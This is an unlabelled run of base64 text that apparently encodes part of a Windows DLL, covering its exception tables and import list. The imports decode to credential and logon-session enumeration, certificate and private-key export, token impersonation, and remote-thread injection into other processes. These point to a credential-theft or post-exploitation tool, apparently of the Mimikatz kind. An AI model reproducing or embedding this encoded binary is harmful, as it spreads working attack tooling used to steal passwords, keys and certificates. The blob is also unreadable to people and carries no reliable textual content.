////AAAAALT///8AAAAA/v///wAAAABJjQIQAAAAALmMAhDCjAIQ/v///wAAAADU////AAAAAP7///8wjwIQNI8CEAAAAAD+////AAAAANj///8AAAAA/v///8mPAhDNjwIQAAAAANWIAhAAAAAAjL8EEAIAAACYvwQQMMQEEAAAAACwBgUQAAAAAP////8AAAAADAAAAMCUAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAANqQCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAtpgIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAFaoAhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAA4akCEAAAAAAAAAAArakCEP7///8AAAAA1P///wAAAAD+////AAAAADOqAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAMqsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAB+rAIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHGtAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA6K4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAACXuQIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAMK6AhD+////AAAAANG6AhD+////AAAAANj///8AAAAA/v///wAAAACEvAIQ/v///wAAAACQvAIQ/v///wAAAADU////AAAAAP7///8AAAAA7L4CEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACfwwIQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAAGDJAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAitMCEAAAAAD+////AAAAAND///8AAAAA/v///wAAAABr1wIQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAMvYAhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAwtsCEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAACU3wIQAAAAAP7///8AAAAA2P///wAAAAD+////1ukCEPLpAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAbOsCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAADm7AIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACPvAhAAAAAA/v///wAAAADI////AAAAAP7///8AAAAA6PACEAAAAAAAAAAAJPACEP7///8AAAAA0P///wAAAAD+////AAAAAIYrAxAAAAAA/v///wAAAADY////AAAAAP7///80WgMQOFoDEAAAAAD+////AAAAANj///8AAAAA/v///4RaAxCIWgMQAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAN5wAxAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAlnQDEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAAFdgMQAAAAAP7///8AAAAAwP///wAAAAD+////AAAAANJ3AxAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAxYwDEAAAAAD+////AAAAANj///8AAAAA/v///3uOAxCOjgMQAAAAAKQYBRAAAAAA/////wAAAAAMAAAAOxEAEAAAAADEGAUQAAAAAP////8AAAAADAAAAOtMAhACAAAAFMQEEDDEBBAAAAAA/RYAEAAAAABMxAQQAAAAAOAYBRAAAAAA/////wAAAAAUAAAAAhcAEAAAAAAEGQUQAAAAAP////8AAAAAFAAAAB0XABAEAAAAaMQEEITEBBAUxAQQMMQEEAAAAAD9FgAQAAAAAKDEBBAAAAAAJBkFEAAAAAD/////AAAAAAwAAAAQTQIQAgAAAMTEBBAwxAQQAAAAALlMAhAAAAAA4MQEEAAAAABAGQUQAAAAAP////8AAAAADAAAAFJOABACAAAA/MQEEDDEBBAAAAAAABAAEAAAAAAYxQQQ/////wAAAAD/////AAAAAAAAAAAAAAAAAAAAAM3QARAAAAAAAAAAAAEAAAABAAAARMUEECIFkxkCAAAANMUEEAEAAABUxQQQAAAAAAAAAAAAAAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAAAAAAAAAAAyOgEQAAAAAAAAAAABAAAAAQAAAJzFBBAiBZMZAgAAAIzFBBABAAAArMUEEAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAeekAEAAAAAAAAAAAAQAAAAEAAAD0xQQQIgWTGQIAAADk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ZXRUb2tlbkluZm9ybWF0aW9uAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAH0AQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AACRAUxvb2t1cEFjY291bnRTaWRXAN8ARHVwbGljYXRlVG9rZW5FeAAArQJTZXRLZXJuZWxPYmplY3RTZWN1cml0eQAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAIAFGcmVlU2lkAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAANoARGVsZXRlU2VydmljZQD5AU9wZW5TQ01hbmFnZXJXAAD7AU9wZW5TZXJ2aWNlVwAAyQJTdGFydFNlcnZpY2VXAFwAQ29udHJvbFNlcnZpY2UAAAEBRW51bVNlcnZpY2VzU3RhdHVzRXhXAIABSXNUZXh0VW5pY29kZQDFAENyeXB0R2V0S2V5UGFyYW0AAMcAQ3J5cHRHZXRVc2VyS2V5AIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAC0CUmVhZEVuY3J5cHRlZEZpbGVSYXcAAFUAQ2xvc2VFbmNyeXB0ZWRGaWxlUmF3AB8CUXVlcnlSZWNvdmVyeUFnZW50c09uRW5jcnlwdGVkRmlsZQAAHgFGcmVlRW5jcnlwdGlvbkNlcnRpZmljYXRlSGFzaExpc3QALAJRdWVyeVVzZXJzT25FbmNyeXB0ZWRGaWxlAPQBT3BlbkVuY3J5cHRlZEZpbGVSYXdXAHMBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAbgJSZWdRdWVyeVZhbHVlRXhXAABhAlJlZ09wZW5LZXlFeFcAMAJSZWdDbG9zZUtleQBoAlJlZ1F1ZXJ5SW5mb0tleVcAAE8CUmVnRW51bUtleUV4VwCQAlJldmVydFRvU2VsZgAAgQBDcmVhdGVTZXJ2aWNlVwAAQURWQVBJMzIuZGxsAAA5AlBvc3RUaHJlYWRNZXNzYWdlVwAApAFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAPIARW51bVdpbmRvd3MAJgNXYWl0Rm9ySW5wdXRJZGxlAAARA1VwZGF0ZVdpbmRvdwAAvgFJbnZhbGlkYXRlUmVjdAAAVVNFUjMyLmRsbAAAHgBHZXRVc2VyTmFtZUV4VwAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyACsATHNhR2V0TG9nb25TZXNzaW9uRGF0YQAAKQBMc2FFbnVtZXJhdGVMb2dvblNlc3Npb25zAFNlY3VyMzIuZGxsAEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAAEgBDZXJ0Q2xvc2VTdG9yZQAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkALwBDZXJ0RW51bVN5c3RlbVN0b3JlABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAHoAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5ACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlAENSWVBUMzIuZGxsAGUAUGF0aElzUmVsYXRpdmVXADgAUGF0aENhbm9uaWNhbGl6ZVcAOgBQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsABsAV1RTT3BlblNlcnZlclcAAAsAV1RTRW51bWVyYXRlUHJvY2Vzc2VzVwAAEgBXVFNGcmVlTWVtb3J5AAAAV1RTQ2xvc2VTZXJ2ZXIAABEAV1RTRW51bWVyYXRlU2Vzc2lvbnNXAFdUU0FQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsACUFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAVwFGbHVzaEZpbGVCdWZmZXJzAAACAkdldExhc3RFcnJvcgAAUgBDbG9zZUhhbmRsZQBiAUZyZWVMaWJyYXJ5AD8DTG9hZExpYnJhcnlXAABzBFNldExhc3RFcnJvcgAARQJHZXRQcm9jQWRkcmVzcwAAGAJHZXRNb2R1bGVIYW5kbGVXAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAAIADT3BlblByb2Nlc3MA7QRWaXJ0dWFsRnJlZUV4AOoEVmlydHVhbEFsbG9jRXgAAMABR2V0Q3VycmVudFByb2Nlc3MAwwNSZWFkUHJvY2Vzc01lbW9yeQDwBFZpcnR1YWxQcm90ZWN0RXgAAO8EVmlydHVhbFByb3RlY3QAAC4FV3JpdGVQcm9jZXNzTWVtb3J5AAAlAkdldE5hdGl2ZVN5c3RlbUluZm8AZQBDb25uZWN0TmFtZWRQaXBlAACgAENyZWF0ZU5hbWVkUGlwZVcAAMADUmVhZEZpbGUAAOEARGlzY29ubmVjdE5hbWVkUGlwZQCoAENyZWF0ZVByb2Nlc3NXAAD3AklzQmFkUmVhZFB0cgAAwARUZXJtaW5hdGVQcm9jZXNzAACWA1Byb2Nlc3MzMkZpcnN0VwBbA01vZHVsZTMyRmlyc3RXAACYA1Byb2Nlc3MzMk5leHRXAAC+AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAXQNNb2R1bGUzMk5leHRXAEgDTG9jYWxGcmVlAF4BRm9ybWF0TWVzc2FnZVcAAKQCR2V0VmVyc2lvbkV4VwC/AUdldEN1cnJlbnREaXJlY3RvcnlXAACOAUdldENvbXB1dGVyTmFtZUV4VwAAwwRUaHJlYWQzMkZpcnN0AMEEVGVybWluYXRlVGhyZWFkAMQEVGhyZWFkMzJOZXh0AACFA09wZW5UaHJlYWQAALoEU3VzcGVuZFRocmVhZAATBFJlc3VtZVRocmVhZAAASARTZXRDb25zb2xlVGl0bGVXAACWAENyZWF0ZUpvYk9iamVjdFcAABYAQXNzaWduUHJvY2Vzc1RvSm9iT2JqZWN0AABMAkdldFByb2Nlc3NJZAAA6ABEdXBsaWNhdGVIYW5kbGUAvwRUZXJtaW5hdGVKb2JPYmplY3QAAPIEVmlydHVhbFF1ZXJ5RXgAALIEU2xlZXAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAGQCR2V0U3RkSGFuZGxlAAAoAUZpbGxDb25zb2xlT3V0cHV0Q2hhcmFjdGVyVwCyAUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAAARBVdpZGVDaGFyVG9NdWx0aUJ5dGUA7wJJbnRlcmxvY2tlZEluY3JlbWVudAAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAA6QJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAA7AJJbnRlcmxvY2tlZEV4Y2hhbmdlAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAOICSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDSAkhlYXBSZUFsbG9jAMUBR2V0Q3VycmVudFRocmVhZElkAACGAUdldENvbW1hbmRMaW5lQQByAUdldENQSW5mbwCxA1JhaXNlRXhjZXB0aW9uAAAYBFJ0bFVud2luZAAtA0xDTWFwU3RyaW5nVwAA0wRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AM0CSGVhcENyZWF0